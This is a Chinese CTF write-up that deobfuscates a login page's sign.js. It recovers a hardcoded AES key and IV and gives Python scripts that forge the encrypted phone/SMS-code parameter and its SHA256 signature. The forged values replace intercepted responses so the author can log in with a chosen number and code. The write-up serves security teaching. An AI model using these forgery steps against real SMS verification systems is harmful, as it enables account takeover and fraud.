首先是在一个登陆界面
任务如下:
sign.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 function _0x1bcf3(_0x5a6f3a){ var _0x17b5f1=CryptoJS['enc']['Hex']['parse']("e5ee5046459904967bad9b7680ed3120"); var _0x404332=CryptoJS['enc']['Utf8']['parse']('\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01'); var _0x591e0d=JSON['stringify'](_0x5a6f3a); // !!!!!!!! 机密代码・勿擅自分析 !!!!!!!!! function _0x437ec2(_0x1c6714,_0x1aa71a){ var _0x351d09=0x0; for(var _0x2f0771=0x0;_0x2f0771<0xa;_0x2f0771++){ var _0x4cf01e=((_0x1c6714^_0x2f0771)+(_0x1aa71a&0x7b)); _0x351d09+=Math['sqrt']((_0x4cf01e)%0x7b+0x1); } return (_0x351d09^0x4d)%0x4d; } function _0x34eb13(_0x3e1242){ var _0x30f245=0x0; for(var _0x5e55d5=0x0;_0x5e55d5<_0x3e1242['length'];_0x5e55d5++){ _0x30f245=((_0x30f245<<0x5)-_0x30f245+(_0x3e1242['charCodeAt'](_0x5e55d5)*0x11))^(_0x3e1242['charCodeAt'](_0x5e55d5)&0xff); } return (Math['abs'](_0x30f245)^0xe9)%0xe9; } var _0x712be6=_0x437ec2(Date['now']()^0x7e8,_0x34eb13(_0x591e0d)); (function(_0x22e5b1){ var _0x406b43=0x0; for(var _0x4ea680=0x0;_0x4ea680<_0x22e5b1['length'];_0x4ea680++){ _0x406b43^=_0x22e5b1['charCodeAt'](_0x4ea680)^(_0x4ea680*0x7); } return _0x406b43; })(_0x591e0d); var _0x50d364=CryptoJS['AES']['encrypt'](_0x591e0d,_0x17b5f1,{'iv':_0x404332,'mode':CryptoJS['mode']['CBC'],'padding':CryptoJS['pad']['Pkcs7']}); return _0x50d364['ciphertext']['toString'](CryptoJS['enc']['Base64']); } // -- 绝密哈希计算 -- function _0x5e2b57(){ var _0x221313=[]; for(var _0xef118e=0x1;_0xef118e<=0x64;_0xef118e++){ _0x221313['push']((Math['sin'](_0xef118e/0x3)*Math['PI']+(_0xef118e%0x7))^(_0xef118e%0xd)); } var _0x46d12f=_0x221313['reduce'](function(_0x29102f,_0x40b60c){return _0x29102f+_0x40b60c;},0x0); var _0x5ff15d=(_0x46d12f^0xdeadbeef)&0xffffffff; return _0x5ff15d['toString'](0x10); } _0x5e2b57(); // 机密签名生成器 (混淆) function _0x48a9b6(_0x2bf285,_0x4e3a36){ var _0x213f16=String(_0x2bf285)+String(_0x4e3a36)+'haobachang'; (function(_0x4b6485){ var _0x4b60aa=0x1; for(var _0x1ff021=0x0;_0x1ff021<0x5;_0x1ff021++){ _0x4b60aa=(_0x4b60aa*0x11+_0x4b6485['length'])%0x61^(_0x4b6485['charCodeAt'](_0x1ff021%_0x4b6485['length'])<<0x1); } return _0x4b60aa^0x58; })(_0x213f16); (function(_0x17b650,_0x1ebbf5){ var _0x4e2e01=0x0; for(var _0x36b6eb=0x0;_0x36b6eb<Math['min'](_0x17b650['length'],_0x1ebbf5['length']);++_0x36b6eb){ _0x4e2e01^=(_0x17b650['charCodeAt'](_0x36b6eb)^_0x1ebbf5['charCodeAt'](_0x36b6eb)); } return _0x4e2e01; })(_0x2bf285,String(_0x4e3a36)); return CryptoJS['SHA256'](_0x213f16)['toString'](CryptoJS['enc']['Hex']); }
先将其还原:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 // 主要的加密函数 function encryptData(dataObject) { // 定义加密密钥和初始化向量(IV) var key = CryptoJS.enc.Hex.parse("e5ee5046459904967bad9b7680ed3120"); var iv = CryptoJS.enc.Utf8.parse('\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01'); // 将传入的对象转换为JSON字符串 var jsonData = JSON.stringify(dataObject); // 两个混淆函数,看起来像是用于生成某种随机数或校验值,但实际上并未影响加密过程 function obfuscatedFunction1(timestamp, strHash) { var result = 0x0; for(var i = 0x0; i < 0xa; i++) { var temp = ((timestamp ^ i) + (strHash & 0x7b)); result += Math.sqrt((temp) % 0x7b + 0x1); } return (result ^ 0x4d) % 0x4d; } function obfuscatedFunction2(str) { var hash = 0x0; for(var i = 0x0; i < str.length; i++) { hash = ((hash << 0x5) - hash + (str.charCodeAt(i) * 0x11)) ^ (str.charCodeAt(i) & 0xff); } return (Math.abs(hash) ^ 0xe9) % 0xe9; } // 调用混淆函数,但返回值未被使用 var unusedValue = obfuscatedFunction1(Date.now() ^ 0x7e8, obfuscatedFunction2(jsonData)); // 另一个未使用的匿名函数 (function(str) { var hash = 0x0; for(var i = 0x0; i < str.length; i++) { hash ^= str.charCodeAt(i) ^ (i * 0x7); } return hash; })(jsonData); // 执行AES加密 var encrypted = CryptoJS.AES.encrypt(jsonData, key, { 'iv': iv, 'mode': CryptoJS.mode.CBC, 'padding': CryptoJS.pad.Pkcs7 }); // 返回Base64编码的密文 return encrypted.ciphertext.toString(CryptoJS.enc.Base64); } // 哈希计算函数(未被调用) function secretHashCalculation() { var array = []; for(var i = 0x1; i <= 0x64; i++) { array.push((Math.sin(i/0x3) * Math.PI + (i % 0x7)) ^ (i % 0xd)); } var sum = array.reduce(function(acc, val) {return acc + val;}, 0x0); var result = (sum ^ 0xdeadbeef) & 0xffffffff; return result.toString(0x10); } // 这里调用了该函数但没有使用返回值 secretHashCalculation(); // 签名生成器(未被调用) function signatureGenerator(param1, param2) { var combinedStr = String(param1) + String(param2) + 'haobachang'; // 匿名函数,计算但未使用返回值 (function(str) { var result = 0x1; for(var i = 0x0; i < 0x5; i++) { result = (result * 0x11 + str.length) % 0x61 ^ (str.charCodeAt(i % str.length) << 0x1); } return result ^ 0x58; })(combinedStr); // 另一个匿名函数,计算但未使用返回值 (function(str1, str2) { var xorResult = 0x0; for(var i = 0x0; i < Math.min(str1.length, str2.length); ++i) { xorResult ^= (str1.charCodeAt(i) ^ str2.charCodeAt(i)); } return xorResult; })(param1, String(param2)); // 返回SHA256哈希值 return CryptoJS.SHA256(combinedStr).toString(CryptoJS.enc.Hex); }
准备工作就到这里,现在开始解题。
先试试188…手机号,点击发送验证码,抓包看到结构如下:
先调用了/sign接口,再调用了/send接口
我们先观察这连个数据包
可以推断出逻辑:
首先是/sign接口,传入手机号和code,然后生成一个a值和sign签名,之后使用/send接口,发送生成的a值和sign用于验证,如果验证成功就能向特定手机号发送验证码。
我们观察一下a值和sign怎么加密的
首先看a值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 // 主要的加密函数 function encryptData(dataObject) { // 定义加密密钥和初始化向量(IV) var key = CryptoJS.enc.Hex.parse("e5ee5046459904967bad9b7680ed3120"); var iv = CryptoJS.enc.Utf8.parse('\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01'); // 将传入的对象转换为JSON字符串 var jsonData = JSON.stringify(dataObject); // 两个混淆函数,看起来像是用于生成某种随机数或校验值,但实际上并未影响加密过程 function obfuscatedFunction1(timestamp, strHash) { var result = 0x0; for(var i = 0x0; i < 0xa; i++) { var temp = ((timestamp ^ i) + (strHash & 0x7b)); result += Math.sqrt((temp) % 0x7b + 0x1); } return (result ^ 0x4d) % 0x4d; } function obfuscatedFunction2(str) { var hash = 0x0; for(var i = 0x0; i < str.length; i++) { hash = ((hash << 0x5) - hash + (str.charCodeAt(i) * 0x11)) ^ (str.charCodeAt(i) & 0xff); } return (Math.abs(hash) ^ 0xe9) % 0xe9; } // 调用混淆函数,但返回值未被使用 var unusedValue = obfuscatedFunction1(Date.now() ^ 0x7e8, obfuscatedFunction2(jsonData)); // 另一个未使用的匿名函数 (function(str) { var hash = 0x0; for(var i = 0x0; i < str.length; i++) { hash ^= str.charCodeAt(i) ^ (i * 0x7); } return hash; })(jsonData); // 执行AES加密 var encrypted = CryptoJS.AES.encrypt(jsonData, key, { 'iv': iv, 'mode': CryptoJS.mode.CBC, 'padding': CryptoJS.pad.Pkcs7 }); // 返回Base64编码的密文 return encrypted.ciphertext.toString(CryptoJS.enc.Base64); }
仔细审计,去掉混淆的函数,就发现加密逻辑是:
AES的PKCS7填充——》base64编码
key = 4f46ad7b73cb211bf2f2eaeeba9f2c77
iv = \x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01
我们先写一个解密脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from Crypto.Cipher import AES import base64 # === 密文 === cipher_b64 = "AZEsGR2FymfRkA52OtJ21GwfKXiKrhDRW6Jht9/NRZkXE5Oy6Isf+5ckn+T0Bx2J" # === Key === key = bytes.fromhex("e5ee5046459904967bad9b7680ed3120") print("KEY:", key.hex()) # === IV === iv = b"\x01" * 16 print("IV:", iv.hex()) # === Base64 解码 === cipher_bytes = base64.b64decode(cipher_b64) print("Cipher bytes length:", len(cipher_bytes)) print("Cipher hex:", cipher_bytes.hex()) # === 解密过程 === cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = cipher.decrypt(cipher_bytes) print("Raw decrypted (hex):", plaintext.hex()) print("Raw decrypted (utf8 maybe):", plaintext) # === 去 PKCS7 === pad = plaintext[-1] if pad < 1 or pad > 16: print("Padding 看起来不标准,raw plaintext 如上") else: plaintext = plaintext[:-pad] print("After unpad:", plaintext) # === 去掉盐 'bachanghao' === salt = b"bachanghao" if plaintext.endswith(salt): plaintext = plaintext[:-len(salt)] print("Salt removed") print("Final plaintext:", plaintext)
可以看到,a值的明文其实是手机号和验证码
再经过多次重放尝试发现,/sign发送的包相同,但每一次响应结果不同
修改/sign的手机号,对响应包的a值解密,发现还是188…的手机号
所以,完全透彻的发送验证码逻辑就出来了:
首先/sign接口发送数据包到服务端,服务端会生成一个用手机号(固定188)和验证码加密的编码(a值),和一个用于校验的sign签名,同时以响应包的形式发送到客户端;之后客户端通过/send接口,向服务端发送a值和sign签名,如果匹配,就发送验证码成功了。
至此,逻辑已经搞明白了,那怎么攻击达成目的呢?
没错!那就是需要伪造,思路就是:
发送/sign的数据包后,修改响应包,替换我们构造的a值和签名,然后/send发送我们构造的a值和签名进行校验,因为是我们指定的a值和sign,所以肯定校验成功,就达成了在客户端指定手机号和验证码的目的
首先我们需要写出a值的加密脚本,然后用指定手机号13188888888和验证码111111
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from Crypto.Cipher import AES import base64 import json def encrypt_data(plaintext,key,iv): """ 加密过程 """ # === 准备明文 === # 例如: {"phone": "18888888888", "code": "320983"} # 注意:这不是添加了盐值的内容,而是去盐后的结果 # 在加密时,我们需要直接使用这个明文 # === PKCS7 填充 === # 计算需要填充的字节数 pad_len = 16 - (len(plaintext) % 16) if pad_len == 0: # 如果长度恰好是16的倍数,仍需添加16字节的填充 pad_len = 16 # 添加PKCS7填充 plaintext_padded = plaintext + chr(pad_len) * pad_len # === 加密过程 === cipher = AES.new(key, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(plaintext_padded.encode('utf-8')) # === Base64 编码 === cipher_b64 = base64.b64encode(ciphertext).decode('utf-8') return cipher_b64 # 测试加密函数 if __name__ == "__main__": key = bytes.fromhex("e5ee5046459904967bad9b7680ed3120") iv = b"\x01" * 16 # 16个字节的0x01 # 使用从1.py解密结果中获得的最终明文 final_plaintext = '{"phone": "13188888888", "code": "111111"}' encrypted = encrypt_data(final_plaintext,key,iv) print(f"Encrypted (Base64): {encrypted}") # 验证:使用解密流程解密我们的加密结果 # 这部分代码模拟解密过程 print("\n=== 验证解密 ===") try: # 解码Base64 cipher_bytes = base64.b64decode(encrypted) print(f"Cipher bytes length: {len(cipher_bytes)}") print(f"Cipher hex: {cipher_bytes.hex()}") # 解密 cipher = AES.new(key, AES.MODE_CBC, iv) decrypted_raw = cipher.decrypt(cipher_bytes) print(f"Raw decrypted (hex): {decrypted_raw.hex()}") print(f"Raw decrypted (utf8 maybe): {decrypted_raw}") # 去除PKCS7填充 pad = decrypted_raw[-1] if pad < 1 or pad > 16: print("Padding 看起来不标准,raw plaintext 如上") else: decrypted_unpadded = decrypted_raw[:-pad] print(f"After unpad: {decrypted_unpadded}") print(f"Final plaintext: {decrypted_unpadded}") except Exception as e: print(f"验证过程中出现错误: {e}")
接下来伪造sign值
先看看这个签名生成的流程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 // 这里调用了该函数但没有使用返回值 secretHashCalculation(); // 签名生成器(未被调用) function signatureGenerator(param1, param2) { var combinedStr = String(param1) + String(param2) + 'haobachang'; // 匿名函数,计算但未使用返回值 (function(str) { var result = 0x1; for(var i = 0x0; i < 0x5; i++) { result = (result * 0x11 + str.length) % 0x61 ^ (str.charCodeAt(i % str.length) << 0x1); } return result ^ 0x58; })(combinedStr); // 另一个匿名函数,计算但未使用返回值 (function(str1, str2) { var xorResult = 0x0; for(var i = 0x0; i < Math.min(str1.length, str2.length); ++i) { xorResult ^= (str1.charCodeAt(i) ^ str2.charCodeAt(i)); } return xorResult; })(param1, String(param2)); // 返回SHA256哈希值 return CryptoJS.SHA256(combinedStr).toString(CryptoJS.enc.Hex); }
核心逻辑:
1 combinedStr = param1 + param2 + "haobachang"
然后执行两个匿名函数(返回值均未使用,所以对最终结果无影响)。
最终只返回:
1 SHA256(combinedStr), 十六进制字符串
所以 真正有意义的逻辑只有计算 SHA256 。
而参数是什么呢?
根据/sign的响应包,有a值,sign和时间戳,猜测两个参数是a值和时间戳
至于是不是可以先写出加密脚本进行验证:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import math import hashlib # ----------------------------- # secretHashCalculation() # ----------------------------- def secret_hash_calculation(): array = [] for i in range(1, 0x64 + 1): # 1 to 100 left = int(math.sin(i / 3) * math.pi + (i % 7)) val = left ^ (i % 13) array.append(val) total_sum = sum(array) result = (int(total_sum) ^ 0xDEADBEEF) & 0xFFFFFFFF return format(result, "x") # hex string # ----------------------------- # signatureGenerator(param1, param2) # ----------------------------- def signature_generator(param1, param2): combinedStr = str(param1) + str(param2) + "haobachang" # 匿名函数1(无实际用处) def anon1(s): result = 1 for i in range(5): result = (result * 0x11 + len(s)) % 0x61 result ^= (ord(s[i % len(s)]) << 1) return result ^ 0x58 anon1(combinedStr) # 调用但不使用 # 匿名函数2(无实际用处) def anon2(s1, s2): xor_result = 0 for a, b in zip(s1, s2): xor_result ^= (ord(a) ^ ord(b)) return xor_result anon2(str(param1), str(param2)) # 也不使用结果 # 返回 SHA256 return hashlib.sha256(combinedStr.encode()).hexdigest() # ----------------------------- # 测试 # ----------------------------- if __name__ == "__main__": a = "AZEsGR2FymfRkA52OtJ21GwfKXiKrhDRW6Jht9/NRZkXE5Oy6Isf+5ckn+T0Bx2J" time = 1765171485 print("secretHashCalculation():", secret_hash_calculation()) print("signature:", signature_generator(a, time))
可以看到和/sign响应包里的sign值一样,所以是正确的。
现在就简单了
我们先点发送验证码,然后拦截抓包,修改响应包为上面伪造的a值
然后用a值和时间戳,生成sign,来替换响应包的sign
然后发包,看/send请求包
可以看到已经替换成我们伪造的a值和sign了,放包,看到响应包里有
就是验证码已发送成功了
然后用我们伪造时用的手机号(这里是13188888888)和验证码(111111)登陆就行
至此就拿到了flag。